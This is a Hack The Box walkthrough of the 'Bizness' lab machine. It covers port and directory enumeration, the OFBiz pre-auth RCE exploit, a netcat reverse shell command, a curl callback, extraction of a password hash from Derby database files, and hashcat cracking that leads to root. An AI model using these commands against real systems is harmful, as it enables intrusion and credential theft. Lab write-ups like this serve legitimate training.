HTB Machine - Bizness | C:\Users\ch3ng >

Summary:

The name “Bizness” provided a major hint that the box is themed around Apache OFBiz, which had a critical RCE exploit published around the time of release. This is probably also the reason why the user flag got blooded in less than 2 minutes! The root part involves reversing a password hash found in a database dump.

Enumeration:

Nmap:

Kali

┌──(ch3ng㉿localhost)-[~/machines/bizness]
└─$ sudo nmap --min-rate 1000 -p- 10.129.8.94

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-31 19:51 ACDT
Nmap scan report for 10.129.8.94
Host is up (0.33s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  https
45693/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 88.04 seconds


┌──(ch3ng㉿localhost)-[~/machines/bizness]
└─$ sudo nmap -A -p 22,80,443,45693 10.129.8.94

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-31 19:53 ACDT
Nmap scan report for 10.129.8.94
Host is up (0.33s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp    open  http       nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
443/tcp   open  ssl/http   nginx 1.18.0
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after:  2328-11-10T20:03:40
|_http-server-header: nginx/1.18.0
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg: 
|_  http/1.1
| tls-alpn: 
|_  http/1.1
45693/tcp open  tcpwrapped
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.0
OS details: Linux 5.0
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   332.28 ms 10.10.14.1
2   332.22 ms 10.129.8.94

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.45 seconds

Nmap found 4 open ports, and port 80 redirects to HTTPS. A domain name was also identified, which I added to /etc/hosts.

# HTB machine Bizness
10.129.8.94 bizness.htb

TCP443 - HTTPS:

The site looks like a generic static page, no useful information can be found here. I ran feroxbuster to look for hidden directories.

Kali

┌──(ch3ng㉿localhost)-[~/machines/bizness]
└─$ feroxbuster -u https://bizness.htb -w directory-list-2.3-medium.txt -k

 
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ https://bizness.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
302      GET        0l        0w        0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       15l      120w     9418c https://bizness.htb/lib/lightbox/js/lightbox.min.js
200      GET       14l      228w    20443c https://bizness.htb/lib/touchSwipe/jquery.touchSwipe.min.js
..SNIP..
500      GET       10l       77w     1443c https://bizness.htb/catalog/images
[>-------------------] - 43s    19587/3528798 2h      found:34      errors:222    
🚨 Caught ctrl+c 🚨 saving scan state to ferox-https_bizness_htb-1706693333.state ...
[>-------------------] - 44s    19652/3528798 2h      found:34      errors:222    
[>-------------------] - 43s     1957/220546  45/s    https://bizness.htb/ 
[>-------------------] - 38s     1729/220546  45/s    https://bizness.htb/images/ 
[>-------------------] - 36s     1700/220546  47/s    https://bizness.htb/content/ 
[>-------------------] - 36s     1679/220546  46/s    https://bizness.htb/common/ 
[>-------------------] - 36s     1692/220546  47/s    https://bizness.htb/images/products/ 
[>-------------------] - 36s     1692/220546  47/s    https://bizness.htb/images/img/ 
[>-------------------] - 36s     1562/220546  44/s    https://bizness.htb/images/icons/ 
[>-------------------] - 35s     1555/220546  44/s    https://bizness.htb/catalog/ 
[>-------------------] - 32s     1239/220546  39/s    https://bizness.htb/marketing/ 
[>-------------------] - 29s     1016/220546  35/s    https://bizness.htb/common/css/ 
[>-------------------] - 29s      924/220546  32/s    https://bizness.htb/ecommerce/ 
[>-------------------] - 27s      890/220546  34/s    https://bizness.htb/ap/ 
[>-------------------] - 23s      748/220546  33/s    https://bizness.htb/ar/ 
[>-------------------] - 20s      599/220546  30/s    https://bizness.htb/common/js/ 
[>-------------------] - 15s      374/220546  25/s    https://bizness.htb/ebay/ 
[>-------------------] - 4s       119/220546  27/s    https://bizness.htb/common/js/plugins/ 
..SNIP..

It found several interesting endpoints, such as /content/, /catalog/, /marketing/, and /ecommerce/. Browsing to /content/ redirects to an Apache OFBiz login page.

The bottom right of the page also reveals the version number.

Exploitation:

OfBiz Pre-Auth RCE (CVE-2023-49070, CVE-2023-51467):

Around the time this box got released (January 2024), SonicWall disclosed a critical vulnerability on OFBiz that can result in remote code execution (RCE), and a quick Google search also confirmed that the current version (18.12) is affected.

The vulnerability stems from a no longer maintained XML RPC module, which insecurely deserializes user-provided data, as well as having an authentication bypass flaw.

Conveniently, there’s a public exploit code published that’s super easy to use.

Kali

┌──(ch3ng㉿localhost)-[~/machines/bizness]
└─$ python exploit.py --url https://bizness.htb

[+] Scanning started...
[+] Apache OFBiz instance seems to be vulnerable.

To confirm code execution, I’ll set up a local HTTP server and try to connect back from the server using curl.

Kali

┌──(ch3ng㉿localhost)-[~/machines/bizness]
└─$ python exploit.py --url https://bizness.htb --cmd 'curl http://10.10.14.38:8000'

And a GET request was detected. We have RCE, easy as that.

Kali

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.8.94 - - [31/Jan/2024 21:16:41] "GET / HTTP/1.1" 200 -

After trying several different payloads, a nc reverse shell command worked, and a shell session was caught in the listener.

Kali

┌──(ch3ng㉿localhost)-[~/machines/bizness]
└─$ python exploit.py --url https://bizness.htb --cmd 'nc 10.10.14.38 8001 -e /bin/bash'

Kali

┌──(ch3ng㉿localhost)-[~/machines/bizness]
└─$ nc -lvnp 8001

listening on [any] 8001 ...
connect to [10.10.14.38] from (UNKNOWN) [10.129.8.94] 53012


ofbiz@bizness:~$ id

uid=1001(ofbiz) gid=1001(ofbiz-operator) groups=1001(ofbiz-operator)

User Flag:

Bizness

ofbiz@bizness:~$ cat user.txt

d1fd60cb************************

Escalation from `ofbiz`:

Derby Database:

After exploiting a web applications, one thing I always check for is the database, as it quite often contains password hashes for other users on the system. This time it’s a bit more tricky, as the database used is something called Apache Derby.

Derby is a portable and lightweight RDBMS implemented in Java. As such, it allows seamless integration with Java-based applications, such as OFBiz.

According to the documentation, it has a CLI tool called ij for connecting to the Derby databases from the terminal. However, I couldn’t find this tool present on the box, and also had some trouble transferring the binary from my host, as it simply refuses to run.

After looking around the filesystem, I found the database files are stored in /opt/ofbiz/runtime/data/derby/ofbiz/seg0. Without the help of any tools, I can just read the raw files and search for secrets. The problem is that there’s almost 65 MB of data broken into hundreds of smaller data files.

Bizness

ofbiz@bizness:/opt/ofbiz/runtime/data/derby/ofbiz/seg0$ ls -la

total 64936
drwxr-xr-x 2 ofbiz ofbiz-operator  139264 Dec 21 09:15 .
drwxr-xr-x 5 ofbiz ofbiz-operator    4096 Jan 31 04:21 ..
-rw-r--r-- 1 ofbiz ofbiz-operator    8192 Dec 16 03:38 c10001.dat
-rw-r--r-- 1 ofbiz ofbiz-operator    8192 Dec 16 03:38 c10011.dat
-rw-r--r-- 1 ofbiz ofbiz-operator   28672 Dec 16 03:39 c1001.dat
-rw-r--r-- 1 ofbiz ofbiz-operator    8192 Dec 16 03:38 c10021.dat
-rw-r--r-- 1 ofbiz ofbiz-operator    8192 Dec 16 03:38 c10031.dat
-rw-r--r-- 1 ofbiz ofbiz-operator    8192 Dec 16 03:39 c10041.dat
-rw-r--r-- 1 ofbiz ofbiz-operator    8192 Dec 16 03:39 c10051.dat
-rw-r--r-- 1 ofbiz ofbiz-operator    8192 Dec 16 03:38 c10061.dat
-rw-r--r-- 1 ofbiz ofbiz-operator    8192 Dec 16 03:38 c10071.dat
-rw-r--r-- 1 ofbiz ofbiz-operator    8192 Dec 16 03:38 c10081.dat
-rw-r--r-- 1 ofbiz ofbiz-operator    8192 Dec 16 03:38 c10091.dat
-rw-r--r-- 1 ofbiz ofbiz-operator    8192 Dec 16 03:38 c100a1.dat
-rw-r--r-- 1 ofbiz ofbiz-operator    8192 Dec 16 03:38 c100b1.dat
-rw-r--r-- 1 ofbiz ofbiz-operator    8192 Dec 16 03:39 c100c1.dat
..SNIP..

Using strings to extract all readable strings and grep for keyword filtering, I found a password hash for an admin user: $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I.

Bizness

ofbiz@bizness:/opt/ofbiz/runtime/data/derby/ofbiz/seg0$ strings * | grep -i pass

..SNIP..
Passport Login Method Type
Passport Login Provider
                <eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/>
PASSWORD
Password
PASSWORD
mail.smtp.auth.password
SMTP Auth password setting
mail.smtp.auth.password
..SNIP..

Hash Crack:

I threw the hash to hashcat and john for cracking, but they both failed due to the hash being in an invalid format.

Kali

┌──(ch3ng㉿localhost)-[~/machines/bizness]
└─$ hashcat -a 0 '$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2' /usr/share/wordlists/rockyou.txt

hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 4.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-haswell-AMD Ryzen 7 3700X 8-Core Processor, 2900/5864 MB (1024 MB allocatable), 16MCU

No hash-mode matches the structure of the input hash.

Started: Wed Jan 31 21:45:55 2024
Stopped: Wed Jan 31 21:45:58 2024

Since the application is open-source, I can go directly to it’s source code in GitHub and check exactly how the hash gets generated. This function can be found in HashCrypt.java, in particular the following two functions:

    public static String cryptBytes(String hashType, String salt, byte[] bytes) {
        if (hashType == null) {
            hashType = "SHA";
        }
        if (salt == null) {
            salt = RandomStringUtils.random(new SecureRandom().nextInt(15) + 1, CRYPT_CHAR_SET);
        }
        StringBuilder sb = new StringBuilder();
        sb.append("$").append(hashType).append("$").append(salt).append("$");
        sb.append(getCryptedBytes(hashType, salt, bytes));
        return sb.toString();
    }

    private static String getCryptedBytes(String hashType, String salt, byte[] bytes) {
        try {
            MessageDigest messagedigest = MessageDigest.getInstance(hashType);
            messagedigest.update(salt.getBytes(UtilIO.getUtf8()));
            messagedigest.update(bytes);
            return Base64.encodeBase64URLSafeString(messagedigest.digest()).replace('+', '.');
        } catch (NoSuchAlgorithmException e) {
            throw new GeneralRuntimeException("Error while comparing password", e);
        }
    }

The entire hash consists of three parts separated by a dollar sign:

SHA indicates the hash algorithm: SHA-1;
d is the salt; and
uP0_QaVBpDWFeo8-dRzDqRwXQ2I is the URL-Safe-Base64 encoded string of the SHA-1 hash.

To obtain the original SHA-1 hash, we can simply use CyberChef to URL-Safe-Base64 decode and output it as a hex string: b8fd3f41a541a435857a8f3e751cc3a91c174362

Now hashcat successfully cracked the password to be monkeybizness.

Kali

┌──(ch3ng㉿localhost)-[~/machines/bizness]
└─$ hashcat -a 0 'b8fd3f41a541a435857a8f3e751cc3a91c174362:d' /usr/share/wordlists/rockyou.txt -m 110

..SNIP..
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness  
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 120 (sha1($salt.$pass))
Hash.Target......: b8fd3f41a541a435857a8f3e751cc3a91c174362:d
Time.Started.....: Wed Jan 31 21:52:23 2024 (1 sec)
Time.Estimated...: Wed Jan 31 21:52:24 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  3295.2 kH/s (0.30ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1482752/14344385 (10.34%)
Rejected.........: 0/1482752 (0.00%)
Restore.Point....: 1474560/14344385 (10.28%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: mosnarak -> moes11

Started: Wed Jan 31 21:52:22 2024
Stopped: Wed Jan 31 21:52:25 2024

This is also reused as the root password!

Bizness

ofbiz@bizness:~$ su root

Password:

root@bizness:~# id

uid=0(root) gid=0(root) groups=0(root)

Root Flag:

Bizness

root@bizness:~# cat root.txt

91604e31************************

Summary:

Enumeration:

Nmap:

TCP443 - HTTPS:

Exploitation:

OfBiz Pre-Auth RCE (CVE-2023-49070, CVE-2023-51467):

User Flag:

Escalation from ofbiz:

Derby Database:

Hash Crack:

Root Flag:

Escalation from `ofbiz`: